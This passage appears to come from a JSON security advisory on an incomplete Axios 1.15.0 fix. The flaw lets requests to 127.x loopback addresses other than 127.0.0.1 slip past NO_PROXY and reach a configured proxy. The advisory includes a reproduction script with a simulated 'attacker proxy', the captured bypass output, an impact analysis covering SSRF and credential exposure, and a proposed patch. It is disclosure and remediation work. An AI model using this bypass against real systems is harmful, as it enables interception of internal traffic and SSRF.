before comparison:\n\n```\nconst normalizeNoProxyHost = (hostname) =\u003e {\n  if (!hostname) return hostname;\n  // Remove IPv6 brackets: \"[::1]\" \u2192 \"::1\"\n  if (hostname.charAt(0) === \u0027[\u0027 \u0026\u0026 hostname.charAt(hostname.length - 1) === \u0027]\u0027) {\n    hostname = hostname.slice(1, -1);\n  }\n  // Strip trailing FQDN dot: \"localhost.\" \u2192 \"localhost\"\n  return hostname.replace(/\\.+$/, \u0027\u0027);\n};\n```\n**Fix B Cross-Loopback Equivalence (Lines 1\u20133 \u0026 108)**\nAllows `127.0.0.1` and `localhost` to match each other interchangeably:\n\n```\nconst LOOPBACK_ADDRESSES = new Set([\u0027localhost\u0027, \u0027127.0.0.1\u0027, \u0027::1\u0027]);\nconst isLoopback = (host) =\u003e LOOPBACK_ADDRESSES.has(host);\n// Line 108 \u2014 Final match condition:\nreturn hostname === entryHost\n    || (isLoopback(hostname) \u0026\u0026 isLoopback(entryHost));\n//      ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^\n//      If both sides are \"loopback\" \u2192 treat as match\n```\n\n**Fix C Normalization Applied on Both Sides (Lines 81 \u0026 90)**\n\n```\n// Request hostname normalized:\nconst hostname = normalizeNoProxyHost(parsed.hostname.toLowerCase());\n// Each NO_PROXY entry normalized:\nentryHost = normalizeNoProxyHost(entryHost);\n```\n\n**2.5 The Incomplete Patch Exact Root Cause**\nThe fundamental flaw resides in Line 1:\n\n```\n// lib/helpers/shouldBypassProxy.js \u2014 Line 1  \u2190 ROOT CAUSE\nconst LOOPBACK_ADDRESSES = new Set([\u0027localhost\u0027, \u0027127.0.0.1\u0027, \u0027::1\u0027]);\n//                                              ^^^^^^^^^^^\n//                              Only ONE IPv4 loopback address is recognized.\n//                              The entire 127.0.0.0/8 subnet is unaccounted for.\n// Line 3 \u2014 Lookup against this incomplete set:\nconst isLoopback = (host) =\u003e LOOPBACK_ADDRESSES.has(host);\n//                                               ^^^^^^^^^\n//                          Returns FALSE for any 127.x.x.x \u2260 127.0.0.1\n```\n\u003cimg width=\"884\" height=\"135\" alt=\"02_vulnerable_code_loopback_addresses\" src=\"https://github.com/user-attachments/assets/ba06b91e-a2d2-4a99-9e1f-8c8bfbb6d71e\" /\u003e\n\n***RFC 1122 \u00a73.2.1.3 is unambiguous:**\n\n\u003e \"The address 127.0.0.0/8 is assigned for loopback. A datagram sent by a higher-level protocol to a loopback address MUST NOT appear on any network.\"\n\nThis means all addresses from `127.0.0.1` through `127.255.255.254` are valid loopback addresses on any RFC-compliant operating system. On Linux, the entire `/8` block is routed to the `lo` interface by default. The patch recognises only `127.0.0.1`, leaving `16,777,213` valid loopback addresses unprotected.\n\n\u003cimg width=\"884\" height=\"537\" alt=\"03_rfc1122_loopback_definition\" src=\"https://github.com/user-attachments/assets/951eabb4-2ec6-40ef-ad00-1fd5b9aed2d0\" /\u003e\n\n**2.6 Step-by-Step Bypass Execution Trace**\nEnvironment:\n\n```\nNO_PROXY   = \"localhost,127.0.0.1,::1\"\nHTTP_PROXY = \"http://attacker-proxy:5300\"\nTarget URL = \"http://127.0.0.2:9191/internal-api\"\n```\n**Annotated execution of shouldBypassProxy(\"http://127.0.0.2:9191/internal-api\"):**\n\n```\n// Step 1 \u2014 Parse the request URL\nparsed   = new URL(\"http://127.0.0.2:9191/internal-api\")\nhostname = \"127.0.0.2\"    // parsed.hostname\n// Step 2 \u2014 Read NO_PROXY environment variable\nnoProxy  = \"localhost,127.0.0.1,::1\"   // lowercased\n// Step 3 \u2014 Normalize the request hostname\nhostname = normalizeNoProxyHost(\"127.0.0.2\")\n//          No brackets \u2192 skip\n//          No trailing dot \u2192 skip\n//          Result: \"127.0.0.2\"  (unchanged)\n// Step 4 \u2014 Iterate over NO_PROXY entries\n//  Entry \u2192 \"localhost\"\nentryHost = \"localhost\"\n\"127.0.0.2\" === \"localhost\"                  \u2192 false\nisLoopback(\"127.0.0.2\")                      \u2192 false  \u2190 Set.has() returns false\n                                                          BYPASS starts here\n//  Entry \u2192 \"127.0.0.1\"\nentryHost = \"127.0.0.1\"\n\"127.0.0.2\" === \"127.0.0.1\"                 \u2192 false\nisLoopback(\"127.0.0.2\") \u0026\u0026 isLoopback(\"127.0.0.1\")\n  \u2192 LOOPBACK_ADDRESSES.has(\"127.0.0.2\")     \u2192 false  \u2190 Same failure\n  \u2192 false\n//  Entry \u2192 \"::1\"\nentryHost = \"::1\"\n\"127.0.0.2\" === \"::1\"                        \u2192 false\nisLoopback(\"127.0.0.2\") \u0026\u0026 isLoopback(\"::1\")\n  \u2192 LOOPBACK_ADDRESSES.has(\"127.0.0.2\")     \u2192 false  \u2190 Same failure\n  \u2192 false\n// Step 5 \u2014 Final return\nshouldBypassProxy() \u2192 false\n//  Axios proceeds to route the request through the configured proxy.\n//  The attacker\u0027s proxy server receives the full request including headers\n//  and any response from the internal service.\n```\n\n**2.7 Why the Patch Design Is Flawed**\nThe patch addresses the **symptom** (two specific alternate representations) rather than the **root cause** (an incomplete definition of what constitutes a loopback address).\n\n| Aspect | Original Bug | This Finding |\n| ------------- | ------------- | ------------- |\n| What was wrong | No normalization before comparison | Incomplete loopback address set|\n| Fix applied | Added normalizeNoProxyHost() | None set remains hardcoded |\n| RFC compliance | Violated RFC 1034 \u0026 RFC 3986 | Violates RFC 1122 \u00a73.2.1.3 |\n| Bypass method | Alternate string representation | Alternate valid loopback address |\n| Impact | NO_PROXY bypass \u2192 SSRF | NO_PROXY bypass \u2192 SSRF (identical) |\n\n```\n**2.8 Total Exposed Address Space**\nProtected by patch:    127.0.0.1          (1 address)\nUnprotected loopback:  127.0.0.2\n                       through\n                       127.255.255.254    (16,777,213 addresses)\n```\nReal-world services that commonly bind to non-standard loopback addresses include:\n\n* Internal microservices and admin dashboards using dedicated loopback IPs\n* Development environments with multiple isolated service instances\n* Docker and container bridge network configurations\n* Test infrastructure allocating sequential loopback IPs across services\n\n**3. Comprehensive Attack Vector \u0026 Proof of Concept**\n\n**3.1 Reproduction Steps**\n\nStep 1 \u2014 Create a fresh project directory\n```\nmkdir axios-bypass-test \u0026\u0026 cd axios-bypass-test\n```\n**Step 2 \u2014 Initialize the project with the patched Axios version**\nCreate `package.json`:\n\n```\n{\n  \"type\": \"module\",\n  \"dependencies\": {\n    \"axios\": \"1.15.0\"\n  }\n}\n```\nInstall dependencies:\n\n```\nnpm install\n```\nVerify the installed version:\n\n```\nnpm list axios\n# Expected output: axios@1.15.0\n```\n\n**Step 3 \u2014 Create the PoC file (`poc.js`)**\n\n```\nimport http from \u0027http\u0027;\nimport axios from \u0027axios\u0027;\n// \u2500\u2500 Simulated attacker-controlled proxy server \u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\nconst PROXY_PORT = 5300;\nhttp.createServer((req, res) =\u003e {\n  console.log(\u0027\\n[!] PROXY HIT \u2014 Attacker proxy received request!\u0027);\n  console.log(`    Method : ${req.method}`);\n  console.log(`    URL    : ${req.url}`);\n  console.log(`    Host   : ${req.headers.host}`);\n  res.writeHead(200);\n  res.end(\u0027proxied\u0027);\n}).listen(PROXY_PORT);\n// \u2500\u2500 Simulated developer security configuration \u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\n// Developer believes all loopback traffic is protected by NO_PROXY.\nprocess.env.HTTP_PROXY = `http://127.0.0.1:${PROXY_PORT}`;\nprocess.env.NO_PROXY   = \u0027localhost,127.0.0.1,::1\u0027;\n// \u2500\u2500 Test helper \u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\nasync function test(url) {\n  console.log(`\\n[*] Testing: ${url}`);\n  try {\n    const res = await axios.get(url, { timeout: 2000 });\n    if (res.data === \u0027proxied\u0027) {\n      console.log(\u0027    Result \u2192 [PROXIED]  \u2190 BYPASS CONFIRMED\u0027);\n    } else {\n      console.log(\u0027    Result \u2192 [DIRECT]   \u2190 Safe, no proxy used\u0027);\n    }\n  } catch (err) {\n    if (err.code === \u0027ECONNREFUSED\u0027) {\n      console.log(\u0027    Result \u2192 [DIRECT]   \u2190 ECONNREFUSED (request did not go through proxy)\u0027);\n    }\n  }\n}\n// \u2500\u2500 Test execution \u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\nsetTimeout(async () =\u003e {\n  // Section A: Cases fixed by the existing patch \u2014 expected to go DIRECT\n  console.log(\u0027\\n=== PATCHED CASES (Expected: All requests bypass the proxy) ===\u0027);\n  await test(\u0027http://localhost:9191/secret\u0027);\n  await test(\u0027http://localhost.:9191/secret\u0027);\n  await test(\u0027http://[::1]:9191/secret\u0027);\n  // Section B: Bypass cases \u2014 expected to go DIRECT, but actually go through proxy\n  console.log(\u0027\\n=== BYPASS CASES (Expected: bypass proxy | Actual: routed through proxy) ===\u0027);\n  await test(\u0027http://127.0.0.2:9191/secret\u0027);\n  await test(\u0027http://127.0.0.100:9191/secret\u0027);\n  await test(\u0027http://127.1.2.3:9191/secret\u0027);\n  process.exit(0);\n}, 500);\n```\n\n**Step 4 \u2014 Execute the PoC**\n\n```\nnode poc.js\n```\n\n**3.2 Observed Output**\nThe following output was captured during testing on Kali Linux with Axios 1.15.0:\n\n```\n=== PATCHED CASES (Expected: All requests bypass the proxy) ===\n[*] Testing: http://localhost:9191/secret\n    Result \u2192 [DIRECT]   \u2190 ECONNREFUSED (request did not go through proxy)  \n[*] Testing: http://localhost.:9191/secret\n    Result \u2192 [DIRECT]   \u2190 ECONNREFUSED (request did not go through proxy)  \n[*] Testing: http://[::1]:9191/secret\n    Result \u2192 [DIRECT]   \u2190 ECONNREFUSED (request did not go through proxy)  \n=== BYPASS CASES (Expected: bypass proxy | Actual: routed through proxy) ===\n[*] Testing: http://127.0.0.2:9191/secret\n[!] PROXY HIT \u2014 Attacker proxy received request!\n    Method : GET\n    URL    : http://127.0.0.2:9191/secret\n    Host   : 127.0.0.2:9191\n    Result \u2192 [PROXIED]  \u2190 BYPASS CONFIRMED                                 \n[*] Testing: http://127.0.0.100:9191/secret\n[!] PROXY HIT \u2014 Attacker proxy received request!\n    Method : GET\n    URL    : http://127.0.0.100:9191/secret\n    Host   : 127.0.0.100:9191\n    Result \u2192 [PROXIED]  \u2190 BYPASS CONFIRMED                                 \n[*] Testing: http://127.1.2.3:9191/secret\n[!] PROXY HIT \u2014 Attacker proxy received request!\n    Method : GET\n    URL    : http://127.1.2.3:9191/secret\n    Host   : 127.1.2.3:9191\n    Result \u2192 [PROXIED]  \u2190 BYPASS CONFIRMED                                 \n```\n\u003cimg width=\"1621\" height=\"739\" alt=\"05_poc_execution_bypass_confirmed\" src=\"https://github.com/user-attachments/assets/6caf9f7a-36ed-4feb-b9f3-f82532da2de7\" /\u003e\n\n**3.3 Analysis of Results**\nThe output conclusively demonstrates the following:\n\n**Patched cases behave correctly:** Requests to `localhost`, `localhost.` (trailing dot), and `[::1]` (bracketed IPv6) all result in a direct connection, confirming that the existing patch in Axios 1.15.0 correctly handles the cases reported in GHSA-3p68-rc4w-qgx5.\n\n**Bypass cases confirm the incomplete patch:** Requests to `127.0.0.2`, `127.0.0.100`, and `127.1.2.3` all of which are valid loopback addresses within the `127.0.0.0/8` subnet as defined by `RFC 1122 \u00a73.2.1.3` are transparently forwarded to the attacker-controlled proxy server. The proxy receives the full request including the HTTP method, target URL, and `Host` header, demonstrating that any response from an internal service bound to these addresses would be fully intercepted.\n\nThis confirms that the `NO_PROXY` protection configured by the developer (`localhost,127.0.0.1,::1`) fails silently for the entire `127.0.0.0/8` address range beyond `127.0.0.1`, providing a reproducible and reliable bypass of the security control introduced by the patch.\n\n**4. Impact Assessment**\nThis vulnerability is a **security control bypass** specifically an incomplete patch that allows an attacker to circumvent the `NO_PROXY` protection mechanism in Axios by using any loopback addresses within the `127.0.0.0/8` subnet other than `127.0.0.1`. The result is that traffic intended to remain private and direct is silently intercepted by a configured proxy server.\n\n**4.1 Who Is Impacted?**\n\nPrimary Target \u2014 Node.js Backend Applications\nAny Node.js application that meets **all three of the following conditions** is vulnerable:\n\n```\nCondition 1:  Uses Axios 1.15.0 (latest patched) for HTTP requests\nCondition 2:  Has HTTP_PROXY or HTTPS_PROXY set in its environment\n              (common in corporate networks, cloud deployments,\n               containerised environments, and CI/CD pipelines)\nCondition 3:  Relies on NO_PROXY=localhost,127.0.0.1,::1 (or similar)\n              to protect loopback or internal services from proxy routing\n```\n**Affected Deployment Environments**\n| Environment | Risk Level |\n| ------------- | ------------- |\n| Cloud-hosted applications (AWS, GCP, Azure) | Critical| \n| Containerised microservices (Docker, Kubernetes) | Critical| \n| Corporate networks with mandatory proxy | High| \n| CI/CD pipelines with proxy environment variables | High| \n| On-premise servers with internal proxy | High| \n\n**Scale of Exposure**\nAxios is one of the most widely used HTTP client libraries in the JavaScript ecosystem, with over **500 million weekly downloads** on npm. Any application in the above categories using Axios 1.15.0 is affected, regardless of whether the developer is aware of the underlying proxy routing logic.\n\n**4.3 Impact Details**\n\n**Impact 1 Silent Interception of Internal Service Traffic**\n\nWhen an application makes a request to an internal loopback service using a non-standard loopback address (e.g., `http://127.0.0.2/admin`), Axios silently routes the request through the configured proxy instead of connecting directly.\n\n```\nDeveloper expects:    Application \u2192 127.0.0.2:8080 (direct)\nActual behaviour:     Application \u2192 Attacker Proxy \u2192 127.0.0.2:8080\nThe proxy receives:\n  - Full request URL\n  - HTTP method\n  - All request headers (including Authorization, Cookie, API keys)\n  - Request body (for POST/PUT requests)\n  - Full response from the internal service\n```\nThe developer receives no error or warning. From the application\u0027s perspective, the request succeeds normally.\n\n**Impact 2 \u2014 SSRF Mitigation Bypass**\nMany applications implement SSRF protections by configuring `NO_PROXY` to prevent requests to loopback addresses from being forwarded externally. This bypass defeats that protection entirely for any loopback address beyond `127.0.0.1`.\n\n```\nSSRF Protection (as configured by developer):\n  NO_PROXY = localhost,127.0.0.1,::1\nWhat developer believes is protected:\n  All loopback/internal addresses\nWhat is actually protected:\n  Only: localhost, 127.0.0.1, ::1 (3 of 16,777,216 loopback addresses)\nWhat remains exposed:\n  127.0.0.2 through 127.255.255.254 (16,777,213 addresses)\n```\nAn attacker who can influence the target URL of an Axios request through user-supplied input, redirect chains, or other SSRF vectors can exploit this gap to reach internal services that the developer explicitly intended to protect.\n\n**Impact 3 \u2014 Cloud Metadata Service Exposure**\nIn cloud environments (AWS, GCP, Azure), SSRF vulnerabilities are particularly severe because they can be used to access the instance metadata service and retrieve IAM credentials, enabling full cloud account compromise.\n\nWhile the AWS IMDSv2 service is reachable at `169.254.169.254` (not a loopback address), many cloud deployments run internal metadata proxies, credential servers, or service discovery endpoints bound to non-standard loopback addresses within the `127.0.0.0/8` range. An attacker reaching any of these services through the bypass could:\n\n* Retrieve temporary IAM credentials\n* Access environment variables containing secrets\n* Enumerate internal service configurations\n* Pivot to other internal services via the compromised credentials\n\n**Impact 4 \u2014 Confidential Data Exfiltration**\nAny internal service binding to a `127.x.x.x` address other than `127.0.0.1` is fully exposed. This includes:\n\n| Internal Service Type | Exposed Data |\n| ------------- | ------------- |\n| Admin panels / dashboards | User data, configuration, logs | \n| Internal APIs | Business logic, database contents | \n| Secret managers / vaults | API keys, tokens, certificates | \n| Health check endpoints | Infrastructure topology | \n| Development services | Source code, environment variables | \n\n**Impact 5 \u2014 No Indication of Compromise**\nA particularly dangerous characteristic of this vulnerability is that it is **completely silent** neither the application nor the developer receives any indication that requests are being routed incorrectly. There are no error messages, no exceptions thrown, and no changes in application behaviour. The proxy interception is entirely transparent from the application\u0027s perspective, making detection extremely difficult without active network monitoring.\n\n**4.4 Comparison with Original Vulnerability**\n\n| Internal Service Type | Exposed Data | Exposed Data |\n| ------------- | ------------- | ------------- |\n| Attack method | Use localhost. or [::1]| Use any 127.x.x.x \u2260 127.0.0.1 | \n| Patch status | Fixed in 1.15.0 | Not fixed in 1.15.0 | \n| CVSS score | 9.3 Critical | 9.9 Critical or (equivalent) | \n| Attacker effort| Trivial | Trivial | \n| Detection by developer | None | None | \n| Impact | SSRF / proxy bypass | SSRF / proxy bypass (identical) | \n\nThe severity of this finding is equivalent to the original vulnerability because the attack conditions, exploitation technique, and resulting impact are identical. The only difference is the specific input used to trigger the bypass, which the existing patch completely fails to address.\n\n**5. Technical Remediation \u0026 Proposed Fix**\n\n**5.1 Vulnerable Code Block**\n\nThe vulnerability resides in `lib/helpers/shouldBypassProxy.js` at lines 1\u20133. The following is the exact code extracted from Axios 1.15.0:\n\n```\n// lib/helpers/shouldBypassProxy.js \u2014 Axios 1.15.0\n// Lines 1\u20133 (VULNERABLE)\nconst LOOPBACK_ADDRESSES = new Set([\u0027localhost\u0027, \u0027127.0.0.1\u0027, \u0027::1\u0027]);\nconst isLoopback = (host) =\u003e LOOPBACK_ADDRESSES.has(host);\n```\nThis hardcoded `Set` is subsequently used at line 108 during the final NO_PROXY match evaluation:\n\n```\n// lib/helpers/shouldBypassProxy.js \u2014 Line 108 (VULNERABLE USAGE)\nreturn hostname === entryHost || (isLoopback(hostname) \u0026\u0026 isLoopback(entryHost));\n//                                ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^\n// isLoopback(\"127.0.0.2\") \u2192 LOOPBACK_ADDRESSES.has(\"127.0.0.2\") \u2192 FALSE\n// This causes the match to fail for any 127.x.x.x address beyond 127.0.0.1\n```\n**Why this is dangerous:** The `Set` performs a strict membership check. Any IPv4 loopback address outside the three hardcoded entries returns `false`, causing `shouldBypassProxy()` to return `false` and silently route the request through the configured proxy.\n\n**5.2 Proposed Patched Code**\nReplace lines 1\u20133 in `lib/helpers/shouldBypassProxy.js` with the following RFC-compliant implementation:\n\n```\n// lib/helpers/shouldBypassProxy.js\n// Lines 1\u20133 (PROPOSED FIX \u2014 RFC 1122 \u00a73.2.1.3 Compliant)\nconst isLoopback = (host) =\u003e {\n  // Named loopback hostname\n  if (host === \u0027localhost\u0027) return true;\n  // IPv6 loopback address\n  if (host === \u0027::1\u0027) return true;\n  // Full IPv4 loopback subnet: 127.0.0.0/8 (RFC 1122 \u00a73.2.1.3)\n  // Matches any address from 127.0.0.0 through 127.255.255.254\n  const parts = host.split(\u0027.\u0027);\n  return (\n    parts.length === 4 \u0026\u0026\n    parts[0] === \u0027127\u0027 \u0026\u0026\n    parts.every((p) =\u003e /^\\d+$/.test(p) \u0026\u0026 Number(p) \u003e= 0 \u0026\u0026 Number(p) \u003c= 255)\n  );\n};\n```\n**5.3 Diff View \u2014 Before vs After**\n\n```\n// lib/helpers/shouldBypassProxy.js\n- const LOOPBACK_ADDRESSES = new Set([\u0027localhost\u0027, \u0027127.0.0.1\u0027, \u0027::1\u0027]);\n-\n- const isLoopback = (host) =\u003e LOOPBACK_ADDRESSES.has(host);\n+ const isLoopback = (host) =\u003e {\n+   if (host === \u0027localhost\u0027) return true;\n+   if (host === \u0027::1\u0027) return true;\n+   const parts = host.split(\u0027.\u0027);\n+   return (\n+     parts.length === 4 \u0026\u0026\n+     parts[0] === \u0027127\u0027 \u0026\u0026\n+     parts.every((p) =\u003e /^\\d+$/.test(p) \u0026\u0026 Number(p) \u003e= 0 \u0026\u0026 Number(p) \u003c= 255)\n+   );\n+ };\n```\nAll other code in `shouldBypassProxy.js` remains unchanged. No other files require modification.\n\n**5.4 Why This Fix Must Be Applied**\n\n**Reason 1 \u2014 RFC 1122 Compliance**\n\nThe current implementation violates **RFC 1122 \u00a73.2.1.3**, which defines the entire `127.0.0.0/8` block as the IPv4 loopback address range not just the single address `127.0.0.1`. The proposed fix aligns Axios with the standard, ensuring that all valid loopback addresses are recognised and handled consistently.\n\n```\nRFC 1122 \u00a73.2.1.3:\n\"The address 127.0.0.0/8 is assigned for loopback.\n A datagram sent by a higher-level protocol to a loopback\n address MUST NOT appear on any network.\"\nCurrent fix covers  :  3 addresses (localhost, 127.0.0.1, ::1)\nProposed fix covers :  16,777,216 addresses (entire 127.0.0.0/8 + loopback names)\n```\n\n**Reason 2 \u2014 The Existing Patch Has Already Failed Once**\n\nThe patch for GHSA-3p68-rc4w-qgx5 was released with the explicit intent of securing NO_PROXY hostname matching for loopback addresses. Within the same release (1.15.0), the protection can be bypassed by substituting `127.0.0.1` with any other address in the `127.0.0.0/8` range. Leaving this gap unaddressed means that the patch creates a **false sense of security** developers believe their loopback traffic is protected when it is not.\n\n**Reason 3 \u2014 Real Operating System Behaviour**\nOn Linux the dominant platform for Node.js server deployments the kernel routes the **entire `127.0.0.0/8` subnet** to the loopback interface `lo` by default. This means any address in that range functions identically to `127.0.0.1` at the networking level.\n\n```\n# Linux routing table \u2014 default configuration\n$ ip route show table local | grep \"127\"\nlocal 127.0.0.0/8 dev lo proto kernel scope host src 127.0.0.1\n# Proof: 127.0.0.2 is a valid loopback address on Linux\n$ ping -c 1 127.0.0.2\nPING 127.0.0.2: 56 data bytes\n64 bytes from 127.0.0.2: icmp_seq=0 ttl=64 time=0.045 ms\n```\n\n\u003cimg width=\"711\" height=\"181\" alt=\"04_linux_loopback_subnet_proof\" src=\"https://github.com/user-attachments/assets/fd0f8430-37c5-4597-b2d9-8e27e479d7b2\" /\u003e\n\nAxios\u0027s current implementation does not reflect this operating system behaviour, resulting in an inconsistency between what the OS considers loopback and what Axios treats as loopback.\n\n\u003cimg width=\"588\" height=\"198\" alt=\"06_ping_127 0 0 2_loopback_confirmed\" src=\"https://github.com/user-attachments/assets/23bf1ab8-1bd6-4f39-88a7-93c518d72990\" /\u003e\n\n**Reason 4 \u2014 The Proposed Fix Has Zero Performance Impact**\nThe existing solution uses a `Set.has()` lookup an O(1) operation. The proposed fix replaces this with:\n\n1. Two direct string comparisons (`\u0027localhost\u0027`, `\u0027::1\u0027`) \u2014 O(1)\n2. A `split(\u0027.\u0027)` and array validation \u2014 O(1) with a fixed-length array of 4 elements\nThe computational cost is **equivalent or lower** than the current approach, and the fix introduces no new external dependencies.\n\n**Reason 5 \u2014 The Fix Is Minimal and Surgical**\nThe proposed change modifies only **3 lines** of a single file. It does not alter:\n\n* The `parseNoProxyEntry()` function\n* The `normalizeNoProxyHost()` function\n* The `shouldBypassProxy()` main function logic\n* Any other file in the codebase\n \nThis minimises regression risk and makes the fix straightforward to review, test, and backport to older supported branches.\n\n**Reason 6 \u2014 Resilient to Alternative IP Encodings**\nBecause Axios normalises the request URL using Node\u0027s native `new URL()` parser before passing it to `shouldBypassProxy()`, alternative IP encodings (such as octal `0177.0.0.1`, hex `0x7f.0.0.1`, or integer `2130706433`) are already resolved into their standard IPv4 dotted-decimal format. This means the proposed `.split(\u0027.\u0027)` validation logic is completely robust and cannot be bypassed using URL-encoded IP obfuscation techniques.\n\n**5.5 Additional Recommendation \u2014 IPv6 Loopback Range**\n\nWhile the primary bypass demonstrated in this report targets the IPv4 `127.0.0.0/8` range, the Axios team should also consider validating the full IPv6 loopback representation. The current implementation recognises only `::1`. A more complete check would also handle the full-form notation:\n\n```\n// Additional IPv6 loopback representations to consider:\n\u00270:0:0:0:0:0:0:1\u0027      // Full notation of ::1\n\u0027::ffff:127.0.0.1\u0027     // IPv4-mapped IPv6 loopback\n\u0027::ffff:7f00:1\u0027        // Hex IPv4-mapped IPv6 loopback\n```\nNormalising these representations before comparison would make the NO_PROXY implementation comprehensively RFC-compliant across both IPv4 and IPv6 address families.",
  "id": "GHSA-pmwg-cvhr-8vh7",
  "modified": "2026-05-05T00:20:58Z",
  "published": "2026-05-05T00:20:58Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/axios/axios/security/advisories/GHSA-pmwg-cvhr-8vh7"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-42043"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/axios/axios"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:L/I:L/A:N",
      "type": "CVSS_V3"
    }
  ],
  "summary": "Axios: Incomplete Fix for CVE-2025-62718 \u2014 NO_PROXY Protection Bypassed via RFC 1122 Loopback Subnet (127.0.0.0/8) in Axios 1.15.0"
}